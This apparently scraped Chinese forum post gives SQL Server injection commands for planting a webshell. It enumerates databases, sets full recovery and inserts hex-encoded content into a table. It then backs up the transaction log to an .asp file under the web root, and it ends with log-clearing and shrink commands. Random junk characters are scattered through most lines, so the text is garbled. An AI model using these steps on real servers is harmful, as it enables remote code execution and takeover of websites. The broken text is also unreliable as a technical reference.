select * from master.dbo.sysdatabases 列出所有列的记录7 m+ |: K' K7 l+ M0 {' k$ ?3 R) t
: a5 p) e- a* Z: C% [1 W9 H4 [
select name from master.dbo.sysdatabases 仅列出name列的记录
, b3 R& o; f9 c! a% ]
* x3 V, s7 q" I1 M' D. {% |3 L注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
4 J y, i# g7 H* t4 Y- ? S5 l# s8 A+ M8 _) g
alter database 数据库名 set RECOVERY FULL--
9 B1 O9 H$ |' a X8 q$ f: h- M$ z9 H
. l/ @0 W% m2 Z0 g. Pcreate table cmd (a image)-- \**cmd是创建的临时表7 J3 [0 N# w' x6 v) |
0 O. p* ^9 k* [backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--6 G2 P2 `2 t" ^; D: H6 c4 }/ v# A7 J
( T8 C6 m2 d) p0 g1 d: g
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
$ Q7 S3 Q7 j# c) O* p3 O, b8 `0 Q3 U4 q; L; j8 z/ H
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
3 w+ }6 ^ K# w+ [. B& E' Y, h( D
. k+ X4 s: W6 B+ Sbackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)7 C% o# k6 a6 O! T, P
$ e, F; d5 B, q0 q% v5 j0 ^9 |5 S3 sdrop table cmd--
9 r) S6 [- V8 J8 i8 ~9 N/ y: b
0 p# Q0 W/ G: q) L6 ` a# ^$ F1 C
f:\6 k1 n/ e6 S2 C/ V5 N1 W) P
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
' a; m. ~4 I0 l8 L
7 l8 i0 D7 D4 ? r& _' x最好多加几个回车0d0a,要不会出错哈
' f3 d/ C6 J7 V! M% Z' i; B) w* ]. T; [; ~/ m; c; H
+ G& {! v! v$ a% e& YSQL Server日志清空方法
2 | x; }# b' h5 Z" N. _0 t7 [) ^! ~ t" _" t" T9 l
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 & m3 [+ g7 k5 S! M) h
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
. ]: q! }6 j3 R3 k# Y! E4 b. G! |" f- F. b
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
8 m0 i$ [2 ]% g! c8 C$ K7 _; T" X) M) a, S* P
3.收缩数据库:DBCC SHRINKDATABASE(databasename) % x; i. P+ l; q% ^# _& O
|